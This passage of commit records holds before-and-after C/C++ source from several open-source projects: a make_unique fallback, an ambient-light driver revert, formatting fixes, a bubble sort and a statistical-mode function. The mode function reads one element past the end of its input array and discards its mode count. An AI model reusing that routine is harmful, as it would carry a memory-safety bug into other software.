ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@322000 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"0b7ec39c2d41c26fc00e50367b5a2cc47be7fede","old_file":"src\/pch.h","new_file":"src\/pch.h","old_contents":"﻿\/\/\n\/\/ pch.h\n\/\/ Header for standard system include files.\n\/\/\n\n#ifndef _divida_precompiled_header_h_\n#define _divida_precompiled_header_h_\n\n#ifdef WINDOWS\n\n#ifndef WIN32_LEAN_AND_MEAN\n#define WIN32_LEAN_AND_MEAN\n#endif\n\n#include <windows.h>\n#endif\n\n#include <algorithm>\n#include <iomanip>\n#include <string>\n#include <sstream>\n\n#endif\n","new_contents":"﻿\/\/\n\/\/ pch.h\n\/\/ Header for standard system include files.\n\/\/\n\n#ifndef _divida_precompiled_header_h_\n#define _divida_precompiled_header_h_\n\n#ifdef WINDOWS\n\n#ifndef WIN32_LEAN_AND_MEAN\n#define WIN32_LEAN_AND_MEAN\n#endif\n\n#include <windows.h>\n#endif\n\n#include <algorithm>\n#include <iomanip>\n#include <memory>\n#include <string>\n#include <sstream>\n\n#if __GNUC__ < 4 || (__GNUC__ == 4 && __GNUC_MINOR__ < 9)\nnamespace std\n{\n\ntemplate<typename T, typename ...Args>\nunique_ptr<T> make_unique(Args&& ...args)\n{\n\treturn unique_ptr<T>(new T(std::forward<Args>(args)...));\n}\n\n}\n#endif\n\n#endif\n","subject":"Add backup implementation of std::make_unique.","message":"Add backup implementation of std::make_unique.\n","lang":"C","license":"mit","repos":"chrisculy\/Divida,chrisculy\/Divida"}
{"commit":"8c040708668c09654682c3133c3c16aa691f3bf9","old_file":"libtock\/ambient_light.c","new_file":"libtock\/ambient_light.c","old_contents":"#include \"ambient_light.h\"\n#include \"tock.h\"\n\ntypedef struct {\n  int intensity;\n  bool fired;\n} ambient_light_data_t;\n\n\/\/ callback for synchronous reads\nstatic void ambient_light_cb(int intensity,\n                             __attribute__ ((unused)) int unused1,\n                             __attribute__ ((unused)) int unused2, void* ud) {\n  ambient_light_data_t* result = (ambient_light_data_t*)ud;\n  result->intensity = intensity;\n  result->fired     = true;\n}\n\nint ambient_light_read_intensity_sync(int* lux_value) {\n  int err;\n  ambient_light_data_t result = {0};\n  result.fired = false;\n\n  err = ambient_light_subscribe(ambient_light_cb, (void*)(&result));\n  if (err < TOCK_SUCCESS) {\n    return err;\n  }\n\n  err = ambient_light_start_intensity_reading();\n  if (err < TOCK_SUCCESS) {\n    return err;\n  }\n\n  yield_for(&result.fired);\n\n  *lux_value = result.intensity;\n\n  return TOCK_SUCCESS;\n}\n\nint ambient_light_subscribe(subscribe_cb callback, void* userdata) {\n  return subscribe(DRIVER_NUM_AMBIENT_LIGHT, 0, callback, userdata);\n}\n\nint ambient_light_start_intensity_reading(void) {\n  return command(DRIVER_NUM_AMBIENT_LIGHT, 1, 0, 0);\n}\n\n","new_contents":"#include \"ambient_light.h\"\n#include \"tock.h\"\n\ntypedef struct {\n  int intensity;\n  bool fired;\n} ambient_light_data_t;\n\n\/\/ internal callback for faking synchronous reads\nstatic void ambient_light_cb(int intensity,\n                             __attribute__ ((unused)) int unused1,\n                             __attribute__ ((unused)) int unused2, void* ud) {\n  ambient_light_data_t* result = (ambient_light_data_t*)ud;\n  result->intensity = intensity;\n  result->fired     = true;\n}\n\nint ambient_light_read_intensity_sync(int* lux_value) {\n  int err;\n  ambient_light_data_t result = {0};\n  result.fired = false;\n\n  err = ambient_light_subscribe(ambient_light_cb, (void*)(&result));\n  if (err < TOCK_SUCCESS) {\n    return err;\n  }\n\n  err = ambient_light_start_intensity_reading();\n  if (err < TOCK_SUCCESS) {\n    return err;\n  }\n\n  yield_for(&result.fired);\n\n  *lux_value = result.intensity;\n\n  return TOCK_SUCCESS;\n}\n\nint ambient_light_subscribe(subscribe_cb callback, void* userdata) {\n  return subscribe(DRIVER_NUM_AMBIENT_LIGHT, 0, callback, userdata);\n}\n\nint ambient_light_start_intensity_reading(void) {\n  return command(DRIVER_NUM_AMBIENT_LIGHT, 1, 0, 0);\n}\n\n","subject":"Revert \"Updating ambient light to 2.0 API.\"","message":"Revert \"Updating ambient light to 2.0 API.\"\n\nThis reverts commit 9a9df3a205dcebfcb358b60ef11df54698ec6dce.\n","lang":"C","license":"apache-2.0","repos":"tock\/libtock-c,tock\/libtock-c,tock\/libtock-c"}
{"commit":"3f76bfade6c09f340aa3c5d1d53ea9bbb736761f","old_file":"CefSharp.Core\/Internals\/StringVisitor.h","new_file":"CefSharp.Core\/Internals\/StringVisitor.h","old_contents":"\/\/ Copyright  2010-2014 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n#include \"include\/cef_string_visitor.h\"\n\nnamespace CefSharp\n{\n    private class StringVisitor : public CefStringVisitor\n    {\n     private:\n        gcroot<IStringVisitor^> _visitor;\n\n    public:\n        StringVisitor(IStringVisitor^ visitor) :\n            _visitor(visitor)\n        {\n        }\n\n        ~StringVisitor()\n        {\n            _visitor = nullptr;\n        }\n\n        virtual void Visit(const CefString& string) OVERRIDE;\n\n        IMPLEMENT_REFCOUNTING(StringVisitor);\n    };\n}","new_contents":"\/\/ Copyright  2010-2014 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n#include \"include\/cef_string_visitor.h\"\n\nnamespace CefSharp\n{\n    private class StringVisitor : public CefStringVisitor\n    {\n    private:\n        gcroot<IStringVisitor^> _visitor;\n\n    public:\n        StringVisitor(IStringVisitor^ visitor) :\n            _visitor(visitor)\n        {\n        }\n\n        ~StringVisitor()\n        {\n            _visitor = nullptr;\n        }\n\n        virtual void Visit(const CefString& string) OVERRIDE;\n\n        IMPLEMENT_REFCOUNTING(StringVisitor);\n    };\n}","subject":"Fix minor indentation issue (formatting)","message":"Fix minor indentation issue (formatting)\n","lang":"C","license":"bsd-3-clause","repos":"joshvera\/CefSharp,windygu\/CefSharp,haozhouxu\/CefSharp,NumbersInternational\/CefSharp,jamespearce2006\/CefSharp,Livit\/CefSharp,zhangjingpu\/CefSharp,illfang\/CefSharp,VioletLife\/CefSharp,yoder\/CefSharp,rlmcneary2\/CefSharp,NumbersInternational\/CefSharp,zhangjingpu\/CefSharp,Haraguroicha\/CefSharp,wangzheng888520\/CefSharp,rlmcneary2\/CefSharp,gregmartinhtc\/CefSharp,twxstar\/CefSharp,illfang\/CefSharp,dga711\/CefSharp,ITGlobal\/CefSharp,yoder\/CefSharp,zhangjingpu\/CefSharp,haozhouxu\/CefSharp,jamespearce2006\/CefSharp,rlmcneary2\/CefSharp,ruisebastiao\/CefSharp,zhangjingpu\/CefSharp,VioletLife\/CefSharp,NumbersInternational\/CefSharp,gregmartinhtc\/CefSharp,twxstar\/CefSharp,jamespearce2006\/CefSharp,battewr\/CefSharp,dga711\/CefSharp,Haraguroicha\/CefSharp,wangzheng888520\/CefSharp,yoder\/CefSharp,gregmartinhtc\/CefSharp,yoder\/CefSharp,Octopus-ITSM\/CefSharp,windygu\/CefSharp,battewr\/CefSharp,dga711\/CefSharp,illfang\/CefSharp,wangzheng888520\/CefSharp,jamespearce2006\/CefSharp,ruisebastiao\/CefSharp,ITGlobal\/CefSharp,wangzheng888520\/CefSharp,Haraguroicha\/CefSharp,rover886\/CefSharp,joshvera\/CefSharp,ITGlobal\/CefSharp,rover886\/CefSharp,battewr\/CefSharp,haozhouxu\/CefSharp,AJDev77\/CefSharp,twxstar\/CefSharp,rlmcneary2\/CefSharp,AJDev77\/CefSharp,joshvera\/CefSharp,ruisebastiao\/CefSharp,gregmartinhtc\/CefSharp,jamespearce2006\/CefSharp,Haraguroicha\/CefSharp,Octopus-ITSM\/CefSharp,Livit\/CefSharp,battewr\/CefSharp,AJDev77\/CefSharp,AJDev77\/CefSharp,haozhouxu\/CefSharp,VioletLife\/CefSharp,VioletLife\/CefSharp,Haraguroicha\/CefSharp,Livit\/CefSharp,rover886\/CefSharp,illfang\/CefSharp,dga711\/CefSharp,windygu\/CefSharp,Octopus-ITSM\/CefSharp,Octopus-ITSM\/CefSharp,rover886\/CefSharp,Livit\/CefSharp,NumbersInternational\/CefSharp,ruisebastiao\/CefSharp,twxstar\/CefSharp,joshvera\/CefSharp,rover886\/CefSharp,ITGlobal\/CefSharp,windygu\/CefSharp"}
{"commit":"ea83ee487a59bb5d9fa122614886a2357b990e64","old_file":"PHOS\/AliPHOSPreprocessor.h","new_file":"PHOS\/AliPHOSPreprocessor.h","old_contents":"#ifndef ALIPHOSPREPROCESSOR_H\n#define ALIPHOSPREPROCESSOR_H\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Class AliPHOSPreprocessor\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#include \"AliPreprocessor.h\"\n\nclass AliPHOSPreprocessor : public AliPreprocessor {\npublic:\n\n  AliPHOSPreprocessor();\n  AliPHOSPreprocessor(const char* detector, AliShuttleInterface* shuttle);\n\nprotected:\n\n  virtual void Initialize(Int_t run, UInt_t startTime, UInt_t endTime);\n  virtual UInt_t Process(TMap* valueSet);\n\n  ClassDef(AliPHOSPreprocessor,0);\n\n};\n\n#endif\n","new_contents":"#ifndef ALIPHOSPREPROCESSOR_H\n#define ALIPHOSPREPROCESSOR_H\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Class AliPHOSPreprocessor\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#include \"AliPreprocessor.h\"\n\nclass AliPHOSPreprocessor : public AliPreprocessor {\npublic:\n\n  AliPHOSPreprocessor();\n  AliPHOSPreprocessor(const char* detector, AliShuttleInterface* shuttle);\n\nprotected:\n\n  virtual UInt_t Process(TMap* valueSet);\n\n  ClassDef(AliPHOSPreprocessor,0);\n\n};\n\n#endif\n","subject":"Remove declaration of unimplemented method","message":"Remove declaration of unimplemented method\n\n","lang":"C","license":"bsd-3-clause","repos":"coppedis\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,ALICEHLT\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot"}
{"commit":"17c191e8231e6429309bd6cc8e826eb38b9d8d89","old_file":"include\/bubblesorts-bubble-inl.h","new_file":"include\/bubblesorts-bubble-inl.h","old_contents":"#ifndef SORTING_INCLUDE_BUBBLESORTS_BUBBLE_INL_H_\n#define SORTING_INCLUDE_BUBBLESORTS_BUBBLE_INL_H_\n\nnamespace sorting {\nnamespace bubble {\n\ntemplate <class T>\nvoid BubbleSort(T * const array, const int N)\n\/**\n * Bubble sort: Bubble sort\n * Scaling:\n *      Best case:\n *      Worst case:\n * Useful:\n *\n *\/\n{\n\n}\n\n} \/\/ namespace bubble\n} \/\/ namespace sorting\n\n#endif \/\/ SORTING_INCLUDE_BUBBLESORTS_BUBBLE_INL_H_\n","new_contents":"#ifndef SORTING_INCLUDE_BUBBLESORTS_BUBBLE_INL_H_\n#define SORTING_INCLUDE_BUBBLESORTS_BUBBLE_INL_H_\n\nnamespace sorting {\nnamespace bubble {\n\ntemplate <class T>\nvoid BubbleSort(T * const array, const int N)\n\/**\n * Bubble sort: Bubble sort\n * Scaling:\n *      Best case:\n *      Worst case:\n * Useful:\n *\n *\/\n{\n    int pass_count = 0;  \/\/ Number of pass over the array.\n    int swap_count = 0;  \/\/ Number of swap for a single pass.\n\n    \/\/ Pass over the array while the swap count is non-null.\n    do\n    {\n        \/\/ It's a new pass; reset the count of swap.\n        swap_count = 0;\n        \/\/ Iterate over the array, skipping the last item\n        for (int i = 0 ; i < N-1 ; i++)\n        {\n            \/\/ Swap elements if next one is \"smaller\" and register the swap.\n            if (array[i] > array[i+1])\n            {\n                std::swap(array[i], array[i+1]);\n                swap_count++;\n            }\n        }\n        pass_count++;\n    } while (swap_count != 0);\n}\n\n} \/\/ namespace bubble\n} \/\/ namespace sorting\n\n#endif \/\/ SORTING_INCLUDE_BUBBLESORTS_BUBBLE_INL_H_\n","subject":"Add working bubble sort implementation","message":"Add working bubble sort implementation\n","lang":"C","license":"bsd-3-clause","repos":"nbigaouette\/sorting,nbigaouette\/sorting,nbigaouette\/sorting,nbigaouette\/sorting"}
{"commit":"513937c89b160cb689dfd457e6aca34df58dc8f9","old_file":"Stat_Mode\/C\/patrickyevsukov_stat_mode.c","new_file":"Stat_Mode\/C\/patrickyevsukov_stat_mode.c","old_contents":"","new_contents":"\/\/ Patrick Yevsukov \n\n\/\/ 2013 CC BY-NC-SA 4.0\n\n\/\/ Excerpt From github.com\/PatrickYevsukov\/Statistics-Calculator\n\n\/\/ I devised this algorithm to identify the statistical mode or \n\/\/ modes of a dataset. It requires one pass through the set to \n\/\/ identify the set's mode or mode's.\n\n\/\/ This algorithm works by keeping track of the number of times a\n\/\/ unique value occurs in the set. If a unique value has occurred\n\/\/ more times than the ones before it, it is added to the list of\n\/\/ modes. As the loop continues all values which occur this number\n\/\/ of times are added to the list of modes, unless another unique\n\/\/ value occurs more times than the currently identified modes. If\n\/\/ this happens, the mode array indexing variable is reset to zero\n\/\/ and the previously identified values are overwritten by the new\n\/\/ modes. When finished, the mode array indexing variable will be\n\/\/ one less than the number of modes.\n\n\/\/ This algorithm requires a set of values in which all instances\n\/\/ of a unique value are listed next to one another. \n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define MAX_SAMPLE 25\n\n\ndouble *\nSampleMode(double *, int *);\n\ndouble *\nSampleMode(double *sample, int *sample_size)\n{\n    int ii = 0;\n\n    int kk = 0;\n\n    int num_modes = 0;\n\n    int previous_freq = 0;\n\n    int current_freq = 1; \/\/ Every value must occur at least once\n\n    double *modes = NULL;\n    \n    modes = (double *) malloc(MAX_SAMPLE * sizeof *modes);\n\n    for (ii = 0; ii <= *sample_size - 1; ii++)\n    {\n        if (sample[ii] == sample[ii + 1])\n        {\n            current_freq++;\n        }\n        else\n        {\n            if (current_freq > previous_freq)\n            {\n                kk = 0; \/\/ Reset\n                \n                previous_freq = current_freq;\n\n                modes[kk] = sample[ii];\n            }\n\n            else if (current_freq == previous_freq)\n            {\n                kk++;\n\n                modes[kk] = sample[ii];\n            }\n\n            current_freq = 1; \/\/ Reset\n        }\n    }\n\n    num_modes = kk + 1;\n\n    return modes;\n}\n","subject":"Add Statistical Mode Finding Algorithm","message":"Add Statistical Mode Finding Algorithm\n\nImplementation In C","lang":"C","license":"mit","repos":"kidaa\/Algorithm-Implementations,mishin\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,movb\/Algorithm-Implementations,Endika\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,mishin\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,mishin\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,mishin\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,mishin\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,warreee\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,Endika\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,mishin\/Algorithm-Implementations,movb\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,movb\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,movb\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,Endika\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,warreee\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,warreee\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,mishin\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,Endika\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,warreee\/Algorithm-Implementations,mishin\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,warreee\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,Endika\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,mishin\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,movb\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,movb\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,mishin\/Algorithm-Implementations,warreee\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,Endika\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,Endika\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,Endika\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,mishin\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,movb\/Algorithm-Implementations,warreee\/Algorithm-Implementations,mishin\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,movb\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,movb\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,Endika\/Algorithm-Implementations,movb\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,movb\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,movb\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,mishin\/Algorithm-Implementations,warreee\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,Endika\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,Endika\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,warreee\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,Endika\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,warreee\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,aayushKumarJarvis\/Algorithm-Implementations,movb\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,warreee\/Algorithm-Implementations,Endika\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,Endika\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,warreee\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,movb\/Algorithm-Implementations,warreee\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,warreee\/Algorithm-Implementations,varunparkhe\/Algorithm-Implementations,warreee\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,Endika\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,mishin\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,sugiartocokrowibowo\